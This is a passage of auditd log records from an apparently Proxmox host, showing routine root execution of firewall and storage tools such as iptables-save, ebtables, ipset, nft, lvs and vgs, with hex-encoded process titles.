cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.429:66363): proctitle=\"iptables-save\""} {"@timestamp":1781964905294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.294:63163): arch=c000003e syscall=59 success=yes exit=0 a0=619e9e6b00e0 a1=619e9e6ace60 a2=619e9e68e680 a3=5 items=2 ppid=60604 pid=60610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295729,"@rawstring":"node=pve type=PATH msg=audit(1781966295.729:69220): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.421:66362): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964905291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.291:63162): arch=c000003e syscall=59 success=yes exit=0 a0=619e6f258ac8 a1=7fffe7e60c50 a2=619e9e68e680 a3=619e6f23c24e items=2 ppid=60604 pid=60606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295721,"@rawstring":"node=pve type=PATH msg=audit(1781966295.721:69219): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.415:66361): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964905289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.289:63161): arch=c000003e syscall=59 success=yes exit=0 a0=7fffe7e60c10 a1=619e9e695310 a2=619e9e68e680 a3=5 items=2 ppid=60604 pid=60605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295721,"@rawstring":"node=pve type=PATH msg=audit(1781966295.721:69219): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.414:66360): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964905285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.285:63159): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295718,"@rawstring":"node=pve type=PATH msg=audit(1781966295.718:69218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.414:66359): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964905279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.279:63158): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295718,"@rawstring":"node=pve type=PATH msg=audit(1781966295.718:69218): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.402:66358): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964905273,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.273:63157): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295712,"@rawstring":"node=pve type=PATH msg=audit(1781966295.712:69217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.388:66357): proctitle=\"ip6tables-save\""} {"@timestamp":1781964905267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.267:63156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295712,"@rawstring":"node=pve type=PATH msg=audit(1781966295.712:69217): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.378:66356): proctitle=\"iptables-save\""} {"@timestamp":1781964905261,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.261:63155): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295706,"@rawstring":"node=pve type=PATH msg=audit(1781966295.706:69216): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.370:66355): proctitle=69707365740073617665"} {"@timestamp":1781964905257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.257:63154): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60d5f2a4e740 items=0 ppid=1156 pid=60599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966295706,"@rawstring":"node=pve type=PATH msg=audit(1781966295.706:69216): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.360:66354): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964905255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.255:63153): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60599 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295700,"@rawstring":"node=pve type=PATH msg=audit(1781966295.700:69215): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965615349,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965615.349:66353): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964905250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.250:63152): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295700,"@rawstring":"node=pve type=PATH msg=audit(1781966295.700:69215): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965614670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965614.670:66352): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964905244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.244:63151): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295694,"@rawstring":"node=pve type=PATH msg=audit(1781966295.694:69214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965614645,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965614.645:66351): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964905238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.238:63150): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295694,"@rawstring":"node=pve type=PATH msg=audit(1781966295.694:69214): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965613683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965613.683:66350): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.233:63149): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295688,"@rawstring":"node=pve type=PATH msg=audit(1781966295.688:69213): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965613683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965613.683:66349): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.228:63148): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0d10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295688,"@rawstring":"node=pve type=PATH msg=audit(1781966295.688:69213): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965613683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965613.683:66348): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.221:63147): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295683,"@rawstring":"node=pve type=PATH msg=audit(1781966295.683:69212): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965613676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965613.676:66347): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.214:63146): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295683,"@rawstring":"node=pve type=PATH msg=audit(1781966295.683:69212): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965613676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965613.676:66346): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.210:63145): arch=c000003e syscall=59 success=yes exit=0 a0=6297fd490d70 a1=6297fd49cb30 a2=6297fd46a680 a3=5 items=2 ppid=60585 pid=60591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295674,"@rawstring":"node=pve type=PATH msg=audit(1781966295.674:69211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965613676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965613.676:66345): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.207:63144): arch=c000003e syscall=59 success=yes exit=0 a0=6297e8634ac8 a1=7ffc15ec2f10 a2=6297fd46a680 a3=6297e861824e items=2 ppid=60585 pid=60587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295674,"@rawstring":"node=pve type=PATH msg=audit(1781966295.674:69211): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965608668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965608.668:66344): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.206:63143): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc15ec2ed0 a1=6297fd48c410 a2=6297fd46a680 a3=5 items=2 ppid=60585 pid=60586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966294367,"@rawstring":"node=pve type=PATH msg=audit(1781966294.367:69210): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965608668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965608.668:66343): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.201:63141): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966294367,"@rawstring":"node=pve type=PATH msg=audit(1781966294.367:69210): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965608668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965608.668:66342): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905193,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.193:63140): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60584 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966294336,"@rawstring":"node=pve type=PATH msg=audit(1781966294.336:69209): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965608662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965608.662:66341): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905185,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.185:63139): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966294336,"@rawstring":"node=pve type=PATH msg=audit(1781966294.336:69209): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965608662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965608.662:66340): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.179:63138): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b62100 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=PATH msg=audit(1781966291.086:69208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965608662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965608.662:66339): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.172:63137): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c020 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=PATH msg=audit(1781966291.086:69208): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.335:66337): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964905165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964905.165:63136): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1301d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=PATH msg=audit(1781966291.086:69207): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.314:66336): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964904054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964904.054:63135): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c61c0 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291086,"@rawstring":"node=pve type=PATH msg=audit(1781966291.086:69206): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.312:66335): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964904028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964904.028:63134): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71ae6f0 a1=64f8d7417300 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=PATH msg=audit(1781966291.076:69205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.311:66334): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964901.063:63133): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966291076,"@rawstring":"node=pve type=PATH msg=audit(1781966291.076:69205): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965605301,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965605.301:66333): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964901.057:63130): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60572 auid=4294967295 uid=0 gid=0 